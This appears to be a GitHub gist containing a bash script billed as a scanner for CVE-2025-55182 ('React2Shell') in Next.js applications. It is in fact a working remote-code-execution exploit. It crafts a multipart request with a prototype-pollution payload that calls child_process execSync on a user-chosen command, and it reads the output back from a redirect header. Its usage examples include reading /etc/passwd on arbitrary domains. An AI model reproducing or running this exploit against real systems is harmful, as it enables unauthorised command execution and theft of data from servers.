Skip to content

Instantly share code, notes, and snippets.

@Ademking
Created December 8, 2025 14:44
Show Gist options
  • Select an option

  • Save Ademking/f238066bf47b302c9ec389935e63b341 to your computer and use it in GitHub Desktop.

Select an option

Save Ademking/f238066bf47b302c9ec389935e63b341 to your computer and use it in GitHub Desktop.
CVE-2025-55182 Scanner - React2Shell
#!/bin/bash
# CVE-2025-55182 Advanced Scanner
# A comprehensive tool for detecting and exploiting CVE-2025-55182 in Next.js applications
# Based on the Nuclei template from: https://cloud.projectdiscovery.io/library/CVE-2025-55182
#
# Usage:
# ./scanner.sh -d <domain> -c <command>
# ./scanner.sh -d vulnapp.com -c id
# ./scanner.sh -d http://localhost:3000 -c "ping -c 3 google.com"
# ./scanner.sh -d vulnapp.com -c "cat /etc/passwd"
VERSION="1.0.0"
DOMAIN="http://localhost:3000"
CMD="id"
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
NC='\033[0m' # No Color
# Print banner
print_banner() {
echo -e "${BLUE}"
echo "╔════════════════════════════════════════════════════════════╗"
echo "║ CVE-2025-55182 Advanced Scanner v${VERSION} ║"
echo "║ React Server Components RCE Scanner ║"
echo "╚════════════════════════════════════════════════════════════╝"
echo -e "${NC}"
}
# Print usage
print_usage() {
echo "Usage: $0 [OPTIONS]"
echo ""
echo "Options:"
echo " -d, --domain Target domain/URL (default: http://localhost:3000)"
echo " If no protocol specified, defaults to https://"
echo " -c, --command Command to execute (default: id)"
echo " -h, --help Show this help message"
echo ""
echo "Examples:"
echo " $0 -d vulnapp.com -c id"
echo " $0 -d http://localhost:3000 -c \"ping -c 3 google.com\""
echo " $0 -d vulnapp.com -c \"cat /etc/passwd\""
echo ""
}
# Parse command-line arguments
parse_args() {
while [[ $# -gt 0 ]]; do
case $1 in
-d|--domain)
DOMAIN="$2"
# Add https:// if no protocol specified (most production sites use HTTPS)
if [[ ! "$DOMAIN" =~ ^https?:// ]]; then
DOMAIN="https://${DOMAIN}"
fi
shift 2
;;
-c|--command)
CMD="$2"
shift 2
;;
-h|--help)
print_usage
exit 0
;;
*)
echo -e "${RED}Unknown option: $1${NC}"
print_usage
exit 1
;;
esac
done
}
# Main execution
main() {
print_banner
parse_args "$@"
# Display scan configuration
echo -e "${BLUE}┌─ Scan Configuration ─────────────────────────────────────────┐${NC}"
echo -e "${BLUE}│${NC} Target: ${CYAN}${DOMAIN}${NC}"
echo -e "${BLUE}│${NC} Command: ${YELLOW}${CMD}${NC}"
echo -e "${BLUE}└──────────────────────────────────────────────────────────────┘${NC}"
echo ""
# Generate random IDs as per template
REQUEST_ID=$(openssl rand -hex 4 2>/dev/null | tr '[:upper:]' '[:lower:]' || echo "$(date +%s | sha256sum | cut -c1-8)")
NEXTJS_HTML=$(openssl rand -hex 10 2>/dev/null || echo "$(date +%s | sha256sum | cut -c1-21)")
BOUNDARY="----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
# Escape the command for JSON (escape single quotes, backslashes, and newlines)
ESCAPED_CMD=$(echo "$CMD" | sed "s/'/\\\\'/g" | sed 's/\\/\\\\/g' | tr -d '\n')
# Create temporary file with multipart form data using CRLF line endings
TMPFILE=$(mktemp)
# Build the JSON payload with the escaped command
PAYLOAD_JSON="{\"then\":\"\$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"\$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('${ESCAPED_CMD}').toString().trim().replace(/\\\\n/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: \`NEXT_REDIRECT;push;/login?a=\${res};307;\`});\",\"_chunks\":\"\$Q2\",\"_formData\":{\"get\":\"\$1:constructor:constructor\"}}}"
printf '%s\r\n' \
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
'Content-Disposition: form-data; name="0"' \
"" \
"${PAYLOAD_JSON}" \
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
'Content-Disposition: form-data; name="1"' \
"" \
'"$@0"' \
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
'Content-Disposition: form-data; name="2"' \
"" \
'[]' \
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--" \
> "$TMPFILE"
# Show sending request message
echo -e "${CYAN}[*]${NC} Sending request to ${CYAN}${DOMAIN}${NC}..."
# Send the request exactly as in the Nuclei template
RESPONSE=$(curl -s -i -X POST "${DOMAIN}" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: ${REQUEST_ID}" \
-H "X-Nextjs-Html-Request-Id: ${NEXTJS_HTML}" \
-H "Content-Type: multipart/form-data; boundary=${BOUNDARY}" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
--max-time 15 \
--data-binary "@${TMPFILE}" 2>&1)
# Extract the command result from X-Action-Redirect header (as per template matcher)
CMD_RESULT=$(echo "$RESPONSE" | grep -i "x-action-redirect" | sed -n 's/.*\/login?a=\([^;]*\).*/\1/p' | head -1)
# Cleanup
rm -f "$TMPFILE"
if [ -n "$CMD_RESULT" ]; then
# URL decode the result
if command -v python3 >/dev/null 2>&1; then
DECODED_RESULT=$(echo "$CMD_RESULT" | python3 -c "import sys, urllib.parse; sys.stdout.write(urllib.parse.unquote(sys.stdin.read()))")
else
# Fallback URL decoding
DECODED_RESULT=$(echo "$CMD_RESULT" | sed -e 's/%20/ /g' -e 's/%21/!/g' -e 's/%22/"/g' -e 's/%23/#/g' -e 's/%24/$/g' -e 's/%25/%/g' -e 's/%26/\&/g' -e "s/%27/'/g" -e 's/%28/(/g' -e 's/%29/)/g' -e 's/%2A/*/g' -e 's/%2B/+/g' -e 's/%2C/,/g' -e 's/%2D/-/g' -e 's/%2E/./g' -e 's/%2F/\//g' -e 's/%3A/:/g' -e 's/%3B/;/g' -e 's/%3C/</g' -e 's/%3D/=/g' -e 's/%3E/>/g' -e 's/%3F/?/g' -e 's/%40/@/g' -e 's/%5B/[/g' -e 's/%5C/\\/g' -e 's/%5D/]/g' -e 's/%5E/^/g' -e 's/%5F/_/g' -e 's/%60/`/g' -e 's/%7B/{/g' -e 's/%7C/|/g' -e 's/%7D/}/g' -e 's/%7E/~/g' -e 's/%0A/\n/g' -e 's/%0D//g')
fi
# Convert pipe separators back to newlines (payload replaces \n with ' | ')
DECODED_RESULT=$(echo "$DECODED_RESULT" | sed 's/ | /\n/g')
# Display result with nice formatting
echo -e "${GREEN}[+]${NC} Command executed successfully!"
echo ""
echo -e "${YELLOW}┌─ Command Output ────────────────────────────────────────────┐${NC}"
# Use temporary file to handle newlines properly
TMP_OUTPUT=$(mktemp)
printf '%s' "$DECODED_RESULT" > "$TMP_OUTPUT"
# Display each line with proper formatting
while IFS= read -r line || [ -n "$line" ]; do
echo -e "${YELLOW}│${NC} $line"
done < "$TMP_OUTPUT"
echo -e "${YELLOW}└──────────────────────────────────────────────────────────────┘${NC}"
echo ""
rm -f "$TMP_OUTPUT"
exit 0
else
# Check for common error patterns
echo -e "${RED}[!]${NC} Command execution failed"
echo ""
if echo "$RESPONSE" | grep -qi "403\|Forbidden"; then
echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}"
echo -e "${RED}║${NC} ${RED}Error: Access forbidden (403)${NC}"
echo -e "${RED}║${NC} WAF or firewall may be blocking the request"
echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}"
elif echo "$RESPONSE" | grep -qi "timeout\|Connection timed out"; then
echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}"
echo -e "${RED}║${NC} ${RED}Error: Connection timeout${NC}"
echo -e "${RED}║${NC} The server did not respond in time"
echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}"
elif echo "$RESPONSE" | grep -qi "SSL\|certificate"; then
echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}"
echo -e "${RED}║${NC} ${RED}Error: SSL certificate issue${NC}"
echo -e "${RED}║${NC} Try using http:// instead of https://"
echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}"
elif echo "$RESPONSE" | grep -qi "500\|Internal Server Error"; then
echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}"
echo -e "${RED}║${NC} ${RED}Error: Server error (500)${NC}"
echo -e "${RED}║${NC} Server may not be vulnerable or payload was rejected"
echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}"
else
echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}"
echo -e "${RED}║${NC} ${RED}Error: Command execution failed${NC}"
echo -e "${RED}║${NC} No result returned - target may not be vulnerable"
echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}"
fi
echo ""
exit 1
fi
}
# Run main function
main "$@"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment